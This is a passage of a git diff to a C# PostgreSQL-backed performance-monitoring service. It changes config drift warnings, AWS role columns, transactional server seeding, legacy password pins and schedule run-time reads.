+            {
+                purge.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
+                purge.Parameters.AddWithValue(NpgsqlDbType.Timestamp, record.ReadTimeUtc.AddDays(-RetentionDays));
+                await purge.ExecuteNonQueryAsync(CancellationToken.None).ConfigureAwait(false);
+            }
+
+            await using (var cap = new NpgsqlCommand(CapSql, connection))
+            {
+                cap.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
+                cap.Parameters.AddWithValue(NpgsqlDbType.Bigint, (long)RowCap);
+                await cap.ExecuteNonQueryAsync(CancellationToken.None).ConfigureAwait(false);
+            }
+        }
+        catch (Exception ex)
+        {
+            logger?.LogDebug(ex, "A slow-read row for {Route} was not stored.", record.Route);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/StallWaitProbeRunner.cs b/Darling/PerformanceMonitor.Darling.Service/StallWaitProbeRunner.cs
index 87f34ef8fb..f26417e51c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/StallWaitProbeRunner.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/StallWaitProbeRunner.cs
@@ -191,10 +191,14 @@ deadline. Whether the connection opened is what separates the connect outcomes f
         {
             logger?.LogWarning(
                 "Stall probe for {Collector} on '{Server}': {WaitingTasks} waiting task(s) across {WaitTypes} type(s), "
-                + "top {TopWait} ({TopWaitMs}ms), {Runnable} runnable / {PendingIo} pending IO across {Schedulers} scheduler(s) "
+                + "top user-task wait {TopWait} ({TopWaitMs}ms), {Background} background task(s) excluded from the ranking, "
+                + "our session {OurWait} ({OurWaitMs}ms), "
+                + "{Runnable} runnable / {PendingIo} pending IO across {Schedulers} scheduler(s) "
                 + "— sampled {Elapsed}ms into a {Budget}s budget (#2880)",
                 collectorName, server.Config.DisplayName, sample.WaitingTaskCount, sample.DistinctWaitTypes,
-                sample.TopWaitType ?? "(nothing waiting)", sample.TopWaitTotalMs, sample.RunnableTasks,
+                sample.TopWaitType ?? "(nothing waiting)", sample.TopWaitTotalMs, sample.BackgroundWaitingTasks,
+                sample.CollectorSessions <= 0 ? "(not visible)" : sample.CollectorWaitType ?? "running",
+                sample.CollectorWaitMs ?? 0, sample.RunnableTasks,
                 sample.PendingDiskIo, sample.SchedulerCount, observation.ElapsedMs,
                 (int)wallClockBudget.TotalSeconds);
         }
diff --git a/Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs b/Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs
index 4faa489152..64d1c19a6f 100644
--- a/Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs
@@ -62,6 +62,13 @@ public sealed class StoreConfigProvider
     /// once-per-call warning rather than to silence.</para>
     /// </summary>
     private int _viewReadFailureStreak;
+    private (int Count, bool Waiting) _lastReenterLogged = (-1, false);
+
+    /// <summary>
+    /// Says whether the one-time pin step is open and has not been able to run (#5456). Set by the worker right after the
+    /// password key start; null (tests, other callers) means it is not waiting.
+    /// </summary>
+    public Func<bool>? LegacyPinsWaiting { get; set; }
 
     public StoreConfigProvider(NpgsqlDataSource postgres, ILogger? logger = null)
     {
@@ -331,16 +338,18 @@ private void WarnAboutSettingDrift(
                 ? " Note --test-connection reads darling.json, so it probes the FILE's settings and can report "
                   + "PASS for a connection the service will never make."
                 : "";
+            var passwordNote = DescribePasswordNotUsed(live, MaxDriftedServersLogged);
 
             _logger?.LogWarning(
                 "darling.json disagrees with the registry about {Count} monitored server(s), and the registry is "
                 + "what the service uses: {Details}. The store is authoritative after the first seed, so editing a "
                 + "registered server's settings in the file changes nothing and a restart cannot change that — "
                 + "edit them in the Viewer's Manage Servers window (the MCP add_servers tool cannot: an "
-                + "already-registered server is skipped as a duplicate).{ConnectionCaveat}",
+                + "already-registered server is skipped as a duplicate).{ConnectionCaveat}{PasswordNote}",
                 live.Count,
                 FormatSettingDrift(live, MaxDriftedServersLogged),
-                connectionCaveat);
+                connectionCaveat,
+                passwordNote);
         }
 
         if (paused.Count > 0)
@@ -355,6 +364,29 @@ private void WarnAboutSettingDrift(
         }
     }
 
+    /// <summary>
+    /// The clause for the drift warning about a password: a server whose darling.json entry carries a password or a
+    /// reference gets the file's password only while the entry and the registry row agree on every connection setting
+    /// (<see cref="BackfillSecretFromFile"/>), so for a drifted connection setting the file's password is not used until
+    /// the two agree. Empty when no such server is listed. Pure, so the text is pinned by a test.
+    /// </summary>
+    internal static string DescribePasswordNotUsed(IReadOnlyList<ServerSettingDrift> drifted, int maxServers)
+    {
+        var names = drifted
+            .Where(d => d.FileEntryCarriesPassword && d.Fields.Any(f => f.AffectsConnection))
+            .Select(d => d.Server)
+            .ToList();
+        if (names.Count == 0)
+        {
+            return "";
+        }
+
+        var shown = maxServers > 0 && names.Count > maxServers ? maxServers : names.Count;
+        var listed = string.Join(", ", names.Take(shown)) + (shown < names.Count ? $" and {names.Count - shown} more" : "");
+        return $" For a drifted connection setting on an entry that carries a password or a reference ({listed}), "
+            + "its password from darling.json is not used until the two agree.";
+    }
+
     /// <summary>
     /// How many drifted servers the log line NAMES. The count in the message is always the true total — this
     /// is a display budget, like the alert renderer's incident cap, and nothing derives state from the
@@ -388,7 +420,7 @@ private static async Task<IReadOnlyList<RegisteredServer>> ReadRegisteredServers
         using var command = new NpgsqlCommand(@"
 SELECT server_id, name, host, database, auth, username, encrypt_mode, trust_server_certificate,
        read_only_intent, multi_subnet_failover, excluded_databases, monthly_cost_usd,
-       alert_delivery_mode_override, engine, port, is_enabled
+       alert_delivery_mode_override, engine, port, is_enabled, aws_role_arn
 FROM config_monitored_servers", connection) { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds };
         await using var reader = await command.ExecuteReaderAsync(ct);
         while (await reader.ReadAsync(ct))
@@ -413,6 +445,8 @@ the same reason BuildServerFromRow reads it (#2218). */
                     AlertDeliveryModeOverride = ParseDeliveryOverride(reader.IsDBNull(12) ? null : reader.GetString(12)),
                     Engine = reader.IsDBNull(13) ? "sqlserver" : reader.GetString(13),
                     Port = reader.IsDBNull(14) ? 0 : reader.GetInt32(14),
+                    /* #5452: the role is compared; the external ID beside it is not read at all (a stored secret). */
+                    AwsRoleArn = reader.IsDBNull(16) ? null : reader.GetString(16),
                 },
                 /* NOT NULL DEFAULT TRUE in the table, so the guard is for a store mid-migration; an unknown
                    enablement reads as ENABLED, which is the direction that keeps the drift visible. */
@@ -491,8 +525,11 @@ internal readonly record struct SettingDrift(
     /// </summary>
     internal sealed record RegisteredServer(MonitoredServer Config, bool IsEnabled);
 
-    /// <summary>One registered server and every field its darling.json entry disagrees with (#2552).</summary>
-    internal sealed record ServerSettingDrift(string Server, bool IsEnabled, IReadOnlyList<SettingDrift> Fields);
+    /// <summary>One registered server and every field its darling.json entry disagrees with (#2552).
+    /// <paramref name="FileEntryCarriesPassword"/> is whether the entry holds a password or a reference, which decides
+    /// whether the warning says that password is not used while a connection setting differs.</summary>
+    internal sealed record ServerSettingDrift(
+        string Server, bool IsEnabled, IReadOnlyList<SettingDrift> Fields, bool FileEntryCarriesPassword = false);
 
     /// <summary>
     /// Pairs each darling.json entry with its registry row and reports the fields they disagree on (#2552).
@@ -556,7 +593,9 @@ internal static IReadOnlyList<ServerSettingDrift> DescribeSettingDrift(
             var fields = CompareServerSettings(entry, match.Config);
             if (fields.Count > 0)
             {
-                drifted.Add(new ServerSettingDrift(match.Config.DisplayName, match.IsEnabled, fields));
+                drifted.Add(new ServerSettingDrift(
+                    match.Config.DisplayName, match.IsEnabled, fields,
+                    !string.IsNullOrWhiteSpace(entry.EncryptedPassword) || !string.IsNullOrWhiteSpace(entry.Password)));
             }
         }
 
@@ -731,6 +770,17 @@ rather than a value neither holds. */
                 EffectivePostgresPort(store.Port),
                 StringComparison.Ordinal,
                 true);
+
+            /* #5452: the AWS role a PostgreSQL server's RDS readers assume. Not a connection setting (the monitoring
+               connection does not use it), so a difference does not touch the password backfill. The external ID is
+               not compared: a stored secret is never read back for a compare. */
+            AddDrift(
+                drift,
+                "awsRoleArn",
+                NoneIfBlank(Trimmed(AwsRoleSettings.Normalize(file.AwsRoleArn))),
+                NoneIfBlank(Trimmed(AwsRoleSettings.Normalize(store.AwsRoleArn))),
+                StringComparison.Ordinal,
+                false);
         }
         else
         {
@@ -1146,17 +1196,56 @@ INSERT INTO config_notification (
     private static async Task SeedMonitoredServersAsync(NpgsqlConnection connection, DarlingConfig config, DateTime now, CancellationToken ct)
     {
         /* Guarded by the caller's COUNT == 0 check — only reached when the registry is empty, so a later
-           Viewer deletion (Stage 3) is never resurrected by a re-seed. */
+           Viewer deletion (Stage 3) is never resurrected by a re-seed.
+
+           #5240: this does NOT always finish before the web and MCP listeners can accept a write, so its INSERTs take
+           the identity lock like every other write that gives a server an address. Program.cs registers the worker,
+           the MCP host and the web host as three independent hosted services; the MCP host's supervisor starts its
+           listener from the file's mcp.enabled (or the store's published toggle) without waiting for this seed
+           (DarlingMcpHostService.ExecuteAsync), and a managed store's mcp credential, the only thing it does wait for,
+           appears when role provisioning ends, which DarlingWorker runs BEFORE SeedIfEmptyAsync. So an add_servers
+           (or a web add, then an edit of it) can land between the COUNT above and these INSERTs. The lock alone is not
+           enough: a writer that finished before this transaction took it is only seen by reading the addresses again,
+           so an entry whose address is already held is skipped, as the add core skips a key claimed in the meantime. */
+        await using var transaction = await connection.BeginTransactionAsync(ct);
+
+        /* Two-arg on the store connection with the transaction set on it, as the other identity writers' commands are. */
+        await using (var identityLock = new NpgsqlCommand(Mcp.DarlingMcpServerAdminTools.IdentityLockSql, connection, transaction)
+                     { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds })
+        {
+            await identityLock.ExecuteNonQueryAsync(ct);
+        }
+
+        var heldAddresses = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+        await using (var existing = new NpgsqlCommand(Mcp.DarlingMcpServerAdminTools.ExistingServersSql, connection, transaction)
+                     { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds })
+        await using (var reader = await existing.ExecuteReaderAsync(ct))
+        {
+            while (await reader.ReadAsync(ct))
+            {
+                heldAddresses.Add(ServerIdHelper.BuildStorageName(
+                    reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1), !reader.IsDBNull(2) && reader.GetBoolean(2),
+                    reader.IsDBNull(3) ? null : reader.GetString(3), reader.IsDBNull(4) ? 0 : reader.GetInt32(4)));
+            }
+        }
+
         foreach (var server in config.Servers)
         {
+            /* Add also records this entry's own address, so two file entries with one address seed one row, as the
+               INSERT's ON CONFLICT (server_id) did when both derived the same id. */
+            if (!heldAddresses.Add(server.StorageName))
+            {
+                continue;
+            }
+
             using var command = new NpgsqlCommand(@"
 INSERT INTO config_monitored_servers (
     server_id, name, host, database, auth, username, encrypted_password, encrypt_mode,
     trust_server_certificate, read_only_intent, multi_subnet_failover, excluded_databases,
     monthly_cost_usd, capture_plans, alert_delivery_mode_override, engine, port, is_enabled, plan_force_bot_enabled,
-    remediation_username, remediation_encrypted_password, created_at, modified_at)
-VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, NULL, $14, $16, $17, TRUE, FALSE, $18, $19, $15, $15)
-ON CONFLICT (server_id) DO NOTHING", connection) { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds };
+    remediation_username, remediation_encrypted_password, aws_role_arn, aws_external_id, created_at, modified_at)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, NULL, $14, $16, $17, TRUE, FALSE, $18, $19, $20, $21, $15, $15)
+ON CONFLICT (server_id) DO NOTHING", connection, transaction) { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds };
             /* THE ALLOCATION SITE. A darling.json entry has no StoredServerId, so this is the derivation —
                and this is where it is minted and made permanent. When new rows stop being hash-keyed
                (#2218), this is the write that changes; every READ already goes through the stored value. */
@@ -1195,8 +1284,18 @@ the right host. */
                does not exist, deliberately. */
             AddNullableText(command, server.RemediationUsername);
             AddNullableText(command, server.RemediationEncryptedPassword);
+            /* V169 (#5452): the AWS role and its external ID, trimmed with blank as NULL. Seeded for a NEW row only,
+               like every other column here (ON CONFLICT DO NOTHING). An external ID with no role would break the
+               table's check, so it is dropped with the role it belonged to; Validate refuses that file earlier. */
+            var seedRole = AwsRoleSettings.Normalize(server.AwsRoleArn);
+            AddNullableText(command, seedRole);
+            AddNullableText(command, seedRole is null ? null : AwsRoleSettings.Normalize(server.AwsExternalId));
             await command.ExecuteNonQueryAsync(ct);
         }
+
+        /* Ends the transaction and with it the lock; a throw above rolls back, so the registry is seeded whole or
+           not at all and SeedIfEmptyAsync (which warns and carries on) re-seeds on the next start. */
+        await transaction.CommitAsync(ct);
     }
 
     /* ---------------- read (store -> in-memory view) ---------------- */
@@ -1264,13 +1363,39 @@ read entirely — the worker publishes the server registry to it instead. Every
                the skip parameter is gone with its last caller. */
             var (smtp, webhooks) = await ReadNotificationAsync(connection, cancellationToken);
 
+            /* #5366: the pins taken at upgrade for the old-format passwords, read once for the SMTP slot and every server. */
+            var pins = await ReadLegacyPinsAsync(connection, cancellationToken);
+            smtp.SecretPin = pins.GetValueOrDefault((0, "smtp"));
+            MarkSmtpTheFileDeclares(smtp, bootstrap);
+
             /* #3598 (V131): the routes layered over that row, read on the same privileged connection for the
                same reason — four of its five destination columns are the same bearer secrets. Zero rows is the
                ordinary state and resolves to the parent row exactly. */
             var routes = await ReadNotificationRoutesAsync(connection, cancellationToken);
 
-            var servers = await ReadMonitoredServersAsync(connection, bootstrap, cancellationToken);
-            var schedules = await ReadScheduleOverridesAsync(connection, cancellationToken);
+            var servers = await ReadMonitoredServersAsync(connection, bootstrap, cancellationToken, pins);
+
+            /* Once per change, not once per reload: the count is the same on every reload until someone enters a password.
+               #5456: while the one-time pin step is waiting to run, the same count is a different message (do not enter
+               them again yet), so the line is repeated once when that changes. */
+            var enterAgain = CountPasswordsToEnterAgain(servers, smtp, LegacyDpapi.Current);
+            var waiting = LegacyPinsWaiting?.Invoke() == true;
+            if ((enterAgain, waiting) != _lastReenterLogged)
+            {
+                var line = ReenterLine(enterAgain, waiting);
+                if (line is not null)
+                {
+                    _logger?.LogWarning("{ReenterLine}", line);
+                }
+            }
+
+            _lastReenterLogged = (enterAgain, waiting);
+            var schedules = await ReadScheduleOverridesAsync(connection, _logger, cancellationToken);
+
+            /* #4938: ResolveSchedule drops a run time that cannot apply, and it runs every sweep, so it stays pure and
+               silent. The one warning is raised here instead: once per load of the schedules, which happens only on a
+               config_version bump (the V137 uncorroborated-route warning above is the same shape). */
+            LogDroppedRunTimes(_logger, servers, schedules);
 
             /* Recovery is reported once, and only if something was actually reported broken — otherwise
                every ordinary reload would announce that the store is reachable. */
@@ -1596,7 +1721,7 @@ back to NULL needs the file's value still to be there. Same reachability rule as
 SELECT smtp_host, smtp_port, smtp_use_ssl, smtp_username, smtp_encrypted_password, smtp_from_address,
        smtp_recipients, email_cooldown_minutes, teams_url, teams_proxy, slack_url, slack_proxy,
        generic_url, generic_headers, generic_body_template, generic_proxy,
-       pagerduty_routing_key, pagerduty_use_eu_region, pagerduty_proxy
+       pagerduty_routing_key, pagerduty_use_eu_region, pagerduty_proxy, pagerduty_auto_resolve
 FROM config_notification WHERE id = 1", connection) { CommandTimeout = ServiceCommandDeadlines.SerialLoopSeconds };
         using var reader = await command.ExecuteReaderAsync(ct);
         if (!await reader.ReadAsync(ct))
@@ -1628,6 +1753,8 @@ back to NULL needs the file's value still to be there. Same reachability rule as
             PagerDutyRoutingKey = reader.GetString(16),
             PagerDutyUseEuRegion = reader.GetBoolean(17),
             PagerDutyProxy = reader.GetString(18),
+            /* V166: appended last — the only addition that cannot re-map an existing column's ordinal. */
+            PagerDutyAutoResolve = reader.GetBoolean(19),
         };
         return (smtp, webhooks);
     }
@@ -1636,8 +1763,10 @@ back to NULL needs the file's value still to be there. Same reachability rule as
     /// directly with its own connection, rather than the file's darling.json list, so it tests the servers the
     /// store will actually collect from.</summary>
     internal static async Task<IReadOnlyList<MonitoredServer>> ReadMonitoredServersAsync(
-        NpgsqlConnection connection, DarlingConfig bootstrap, CancellationToken ct)
+        NpgsqlConnection connection, DarlingConfig bootstrap, CancellationToken ct,
+        IReadOnlyDictionary<(int ServerId, string Slot), LegacyPin>? pins = null)
     {
+        pins ??= await ReadLegacyPinsAsync(connection, ct);
         var servers = new List<MonitoredServer>();
         /* server_id is LAST rather than first (#2218): every ordinal in BuildServerFromRow is positional, so
            appending is the only addition that cannot silently re-map an existing column onto the wrong
@@ -1646,7 +1775,8 @@ twelve downstream sites re-derived it from the mutable columns instead. */
         using var command = new NpgsqlCommand(@"
 SELECT name, host, database, auth, username, encrypted_password, encrypt_mode, trust_server_certificate,
        read_only_intent, multi_subnet_failover, excluded_databases, monthly_cost_usd, alert_delivery_mode_override,
-       engine, port, server_id, plan_force_bot_enabled, remediation_username, remediation_encrypted_password
+       engine, port, server_id, plan_force_bot_enabled, remediation_username, remediation_encrypted_password,
+       aws_role_arn, aws_external_id
 FROM config_monitored_servers WHERE is_enabled = TRUE
 ORDER BY name", connection) { CommandTimeout = ServiceCommandDeadlines.SerialLoopSeconds };
         using var reader = await command.ExecuteReaderAsync(ct);
@@ -1655,9 +1785,119 @@ twelve downstream sites re-derived it from the mutable columns instead. */
             servers.Add(BuildServerFromRow(reader, bootstrap));
         }
 
+        /* #5366: the pins taken when this service was upgraded, matched to each server by id and slot. */
+        foreach (var server in servers)
+        {
+            server.SecretPin = pins.GetValueOrDefault((server.ServerId, "server"));
+            server.RemediationPin = pins.GetValueOrDefault((server.ServerId, "remediation"));
+        }
+
         return servers;
     }
 
+    /// <summary>
+    /// The pins in <c>config.legacy_secret_pin</c>, read on the store owner's connection (row-level security hides every
+    /// row from any other role, so a different role finds none and an old-format value is then not opened). SMTP is
+    /// server id 0. A store that has no such table yet, or a role that may not read it, has none.
+    /// </summary>
+    internal static async Task<IReadOnlyDictionary<(int ServerId, string Slot), LegacyPin>> ReadLegacyPinsAsync(
+        NpgsqlConnection connection, CancellationToken ct)
+    {
+        var pins = new Dictionary<(int ServerId, string Slot), LegacyPin>();
+        try
+        {
+            using var command = new NpgsqlCommand(
+                "SELECT server_id, slot, value_sha256, binding_sha256 FROM config.legacy_secret_pin", connection)
+            { CommandTimeout = ServiceCommandDeadlines.SerialLoopSeconds };
+            using var reader = await command.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                pins[(reader.GetInt32(0), reader.GetString(1))] = new LegacyPin((byte[])reader[2], (byte[])reader[3]);
+            }
+        }
+        catch (PostgresException ex) when (ex.SqlState is PostgresErrorCodes.UndefinedTable or PostgresErrorCodes.InsufficientPrivilege)
+        {
+            pins.Clear();
+        }
+
+        return pins;
+    }
+
+    /// <summary>
+    /// Marks the SMTP slot when darling.json declares the same text for the same SMTP connection (host, port, TLS and
+    /// username), the <see cref="MarkSlotsTheFileDeclares"/> rule for the one slot that has no server id (#5366).
+    /// </summary>
+    internal static void MarkSmtpTheFileDeclares(SmtpConfig smtp, DarlingConfig bootstrap)
+    {
+        var declared = bootstrap.Smtp;
+        if (declared is not null
+            && declared.EncryptedPasswordDeclaredByFile
+            && DarlingSecrets.DeclaresSecretText(smtp.EncryptedPassword)
+            && string.Equals(declared.EncryptedPassword, smtp.EncryptedPassword, StringComparison.Ordinal)
+            && string.Equals(declared.Host, smtp.Host, StringComparison.Ordinal)
+            && declared.Port == smtp.Port
+            && declared.UseSsl == smtp.UseSsl
+            && string.Equals(declared.Username ?? "", smtp.Username ?? "", StringComparison.Ordinal))
+        {
+            smtp.EncryptedPasswordDeclaredByFile = true;
+        }
+    }
+
+    /// <summary>
+    /// The line logged when saved passwords have to be entered again, or null when none do. While the one-time pin step
+    /// is waiting to run (<paramref name="waiting"/>) the old-format values are not lost yet, so the line says to wait.
+    /// </summary>
+    internal static string? ReenterLine(int count, bool waiting)
+    {
+        if (count <= 0)
+        {
+            return null;
+        }
+
+        if (waiting)
+        {
+            return count == 1
+                ? "1 saved old-format password waits for the one-time pin step. Do not enter it again yet."
+                : $"{count} saved old-format passwords wait for the one-time pin step. Do not enter them again yet.";
+        }
+
+        return count == 1
+            ? "1 saved password needs to be entered again. It is in the old format and cannot be opened here, or it no longer matches its server's connection settings"
+            : $"{count} saved passwords need to be entered again. They are in the old format and cannot be opened here, or they no longer match their server's connection settings";
+    }
+
+    /// <summary>
+    /// How many saved old-format passwords this service cannot open and the operator must enter again: a value in a
+    /// server slot, a remediation slot or the SMTP slot that is not a reference or a sealed value, on a machine that cannot
+    /// open it or with no declaration or matching pin (#5366).
+    /// </summary>
+    internal static int CountPasswordsToEnterAgain(IEnumerable<MonitoredServer> servers, SmtpConfig? smtp, LegacyDpapi dpapi)
+    {
+        var count = 0;
+        foreach (var server in servers)
+        {
+            if (server.RequiresResolvedSecret && DarlingSecrets.IsLegacyDpapi(server.EncryptedPassword)
+                && !DarlingSecrets.LegacyValueUsable(server.EncryptedPassword!, server.EncryptedPasswordDeclaredByFile, server.SecretPin, () => server.SecretBinding, dpapi))
+            {
+                count++;
+            }
+
+            if (server.HasRemediationCredential && DarlingSecrets.IsLegacyDpapi(server.RemediationEncryptedPassword)
+                && !DarlingSecrets.LegacyValueUsable(server.RemediationEncryptedPassword!, server.RemediationEncryptedPasswordDeclaredByFile, server.RemediationPin, () => server.RemediationBinding, dpapi))
+            {
+                count++;
+            }
+        }
+
+        if (smtp is not null && DarlingSecrets.IsLegacyDpapi(smtp.EncryptedPassword)
+            && !DarlingSecrets.LegacyValueUsable(smtp.EncryptedPassword!, smtp.EncryptedPasswordDeclaredByFile, smtp.SecretPin, () => smtp.SecretBinding, dpapi))
+        {
+            count++;
+        }
+
+        return count;
+    }
+
     /// <summary>
     /// Reconstructs a <see cref="MonitoredServer"/> from a store row, backfilling the SQL-auth secret from
     /// the in-memory bootstrap config when the store row carries no DPAPI blob — this is how a darling.json
@@ -1706,25 +1946,98 @@ every server until an operator types one in. A null here is not a degraded state
                about; it is the shipped state, and it means this server has no phase-1 surface. */
             RemediationUsername = reader.IsDBNull(17) ? null : reader.GetString(17),
             RemediationEncryptedPassword = reader.IsDBNull(18) ? null : reader.GetString(18),
+            /* V169 (#5452): the AWS role and its external ID. Nullable with no default: NULL is every server nobody
+               has pointed at a role, and it means the process's own credentials. */
+            AwsRoleArn = reader.IsDBNull(19) ? null : reader.GetString(19),
+            AwsExternalId = reader.IsDBNull(20) ? null : reader.GetString(20),
         };
 
-        if (server.RequiresResolvedSecret && string.IsNullOrWhiteSpace(server.EncryptedPassword))
+        /* #5366: the identity a sealed password is bound to is the row's own text, read through the one raw-row mapping
+           (a NULL column is not given the property's default here). */
+        server.StoredIdentity = ServerConnectionIdentity.FromStoredColumns(
+            reader.GetString(1), reader.IsDBNull(14) ? null : reader.GetInt32(14), reader.IsDBNull(13) ? null : reader.GetString(13),
+            reader.IsDBNull(2) ? null : reader.GetString(2), reader.GetBoolean(8), reader.GetString(3),
+            reader.IsDBNull(4) ? null : reader.GetString(4), reader.GetString(6), reader.GetBoolean(7), reader.GetBoolean(9));
+
+        BackfillSecretFromFile(server, bootstrap);
+        MarkSlotsTheFileDeclares(server, bootstrap);
+        return server;
+    }
+
+    /// <summary>The connection settings of a server definition, mapped the way a stored row is (<see cref="ServerConnectionIdentity.FromStoredColumns"/>).</summary>
+    internal static ServerConnectionIdentity ConnectionIdentityOf(MonitoredServer server) =>
+        ServerConnectionIdentity.FromStoredColumns(
+            server.Host, server.Port, server.Engine, server.Database, server.ReadOnlyIntent, server.Auth, server.Username,
+            server.EncryptMode, server.TrustServerCertificate, server.MultiSubnetFailover);
+
+    /// <summary>
+    /// Copies the darling.json secret into a server built from a store row that carries none, when exactly one file entry
+    /// holds the same connection: the storage name and username, and all ten connection settings plus engine
+    /// (<see cref="ServerConnectionIdentity.Differ"/>, authentication compared ignoring case). A row that differs in any
+    /// of them is left without the file's secret.
+    /// </summary>
+    internal static void BackfillSecretFromFile(MonitoredServer server, DarlingConfig bootstrap)
+    {
+        if (!server.RequiresResolvedSecret || !string.IsNullOrWhiteSpace(server.EncryptedPassword))
         {
-            /* Service principal keeps its client secret in the same EncryptedPassword slot as a SQL password,
-               so the bootstrap backfill (store row minted without the secret) covers it identically. #3484. */
-            var matches = bootstrap.Servers.Where(s =>
-                s.RequiresResolvedSecret
-                && string.Equals(s.StorageName, server.StorageName, StringComparison.OrdinalIgnoreCase)
-                && string.Equals(s.Username, server.Username, StringComparison.Ordinal)).ToList();
+            return;
+        }
 
-            if (matches.Count == 1)
+        /* Service principal keeps its client secret in the same EncryptedPassword slot as a SQL password,
+           so the bootstrap backfill (store row minted without the secret) covers it identically. #3484. */
+        var rowSettings = ConnectionIdentityOf(server);
+        var matches = bootstrap.Servers.Where(s =>
+            s is not null
+            && s.RequiresResolvedSecret
+            && string.Equals(s.StorageName, server.StorageName, StringComparison.OrdinalIgnoreCase)
+            && string.Equals(s.Username, server.Username, StringComparison.Ordinal)
+            && !ServerConnectionIdentity.Differ(ConnectionIdentityOf(s), rowSettings)).ToList();
+
+        if (matches.Count == 1)
+        {
+            server.EncryptedPassword = matches[0].EncryptedPassword;
+            server.Password = matches[0].Password;
+        }
+    }
+
+    /// <summary>
+    /// #5240: marks a secret slot of a server built from a store row when darling.json itself declares that same
+    /// reference, in that same slot, for the same server id, which is the one case where an owned reference may resolve
+    /// (<see cref="DarlingSecrets.ResolvePassword"/>). Nothing in the row can set a mark: it takes a file entry (itself
+    /// marked when the file was read) with this server's id and exactly this text. A store row for another server id, or a
+    /// row whose slot was changed to another reference, finds no such entry and is left unmarked. The row must also agree with
+    /// the entry on all ten connection settings plus engine (the edit core's own rule, authentication compared ignoring case), so a
+    /// reference the file declares for one connection is never sent to another: an operator who moves a file server updates its darling.json entry too (the file
+    /// then declares the reference for the new address), or uses a reference that is not owned.
+    /// </summary>
+    internal static void MarkSlotsTheFileDeclares(MonitoredServer server, DarlingConfig bootstrap)
+    {
+        foreach (var declared in bootstrap.Servers)
+        {
+            /* A null element is skipped, as DarlingConfig.Parse's own loop skips it (#5240). */
+            if (declared is null
+                || declared.ServerId != server.ServerId
+                || ServerConnectionIdentity.Differ(ConnectionIdentityOf(declared), ConnectionIdentityOf(server)))
             {
-                server.EncryptedPassword = matches[0].EncryptedPassword;
-                server.Password = matches[0].Password;
+                continue;
             }
-        }
 
-        return server;
+            if (declared.EncryptedPasswordDeclaredByFile
+                && DarlingSecrets.DeclaresSecretText(server.EncryptedPassword)
+                && string.Equals(declared.EncryptedPassword, server.EncryptedPassword, StringComparison.Ordinal))
+            {
+                server.EncryptedPasswordDeclaredByFile = true;
+            }
+
+            /* #5366: a remediation reference is declared for one remediation login, so the row must name that same login (null as empty). */
+            if (declared.RemediationEncryptedPasswordDeclaredByFile
+                && string.Equals(declared.RemediationUsername ?? string.Empty, server.RemediationUsername ?? string.Empty, StringComparison.Ordinal)
+                && DarlingSecrets.DeclaresSecretText(server.RemediationEncryptedPassword)
+                && string.Equals(declared.RemediationEncryptedPassword, server.RemediationEncryptedPassword, StringComparison.Ordinal))
+            {
+                server.RemediationEncryptedPasswordDeclaredByFile = true;
+            }
+        }
     }
 
     /// <summary>The routes SELECT, public-const so the viewer's writer and the tests can pin column parity
@@ -1756,7 +2069,21 @@ private static async Task<IReadOnlyList<NotificationRoute>> ReadNotificationRout
         return routes;
     }
 
-    private static async Task<IReadOnlyList<ScheduleOverride>> ReadScheduleOverridesAsync(NpgsqlConnection connection, CancellationToken ct)
+    /// <summary>
+    /// The sparse schedule rows, with the collectors' run times layered onto them (#4938). The run times are read from
+    /// their own table, <c>config.config_collector_run_times</c>, and not from a column here: the viewer's schedule Save
+    /// deletes a scope's rows in <c>config_collector_schedules</c> and inserts them again with a fixed column list, so a
+    /// run time kept on these rows would be cleared by every Save from a viewer that does not know it. The rows are read
+    /// and closed before the run-time read starts, because one connection cannot hold two open readers.
+    /// </summary>
+    private static async Task<IReadOnlyList<ScheduleOverride>> ReadScheduleOverridesAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken ct)
+    {
+        var overrides = await ReadScheduleRowsAsync(connection, ct);
+        var runTimes = await ReadRunTimesAsync(connection, logger, ct);
+        return MergeRunTimes(overrides, runTimes);
+    }
+
+    private static async Task<List<ScheduleOverride>> ReadScheduleRowsAsync(NpgsqlConnection connection, CancellationToken ct)
     {
         var overrides = new List<ScheduleOverride>();
         using var command = new NpgsqlCommand(
@@ -1780,6 +2107,79 @@ a server's opt-out of a fleet scope silently re-inherit that scope. */
         return overrides;
     }
 
+    /// <summary>The run-time SELECT (#4938): one row per fleet-wide or per-server run time, fleet-wide first so the order is
+    /// a statement about the table. Schema-qualified, so a 42P01 from it can only mean the table itself is missing.</summary>
+    public const string RunTimesSelectSql =
+        "SELECT server_id, collector_name, run_at_minute FROM config.config_collector_run_times ORDER BY server_id NULLS FIRST, collector_name";
+
+    /// <summary>
+    /// Reads every run time (#4938). A store still at version 159 has no such table: that is "no run times", which is what
+    /// every collector had before the table existed, and not a failed load, so the 42P01 is answered with an empty list
+    /// and one debug line (the load runs once per configuration change, not per sweep). Any other error is the load's
+    /// to fail on, as for every other read in the view.
+    /// </summary>
+    private static async Task<IReadOnlyList<RunTimeOverride>> ReadRunTimesAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken ct)
+    {
+        var rows = new List<RunTimeOverride>();
+        try
+        {
+            using var command = new NpgsqlCommand(RunTimesSelectSql, connection) { CommandTimeout = ServiceCommandDeadlines.SerialLoopSeconds };
+            using var reader = await command.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                rows.Add(new RunTimeOverride(
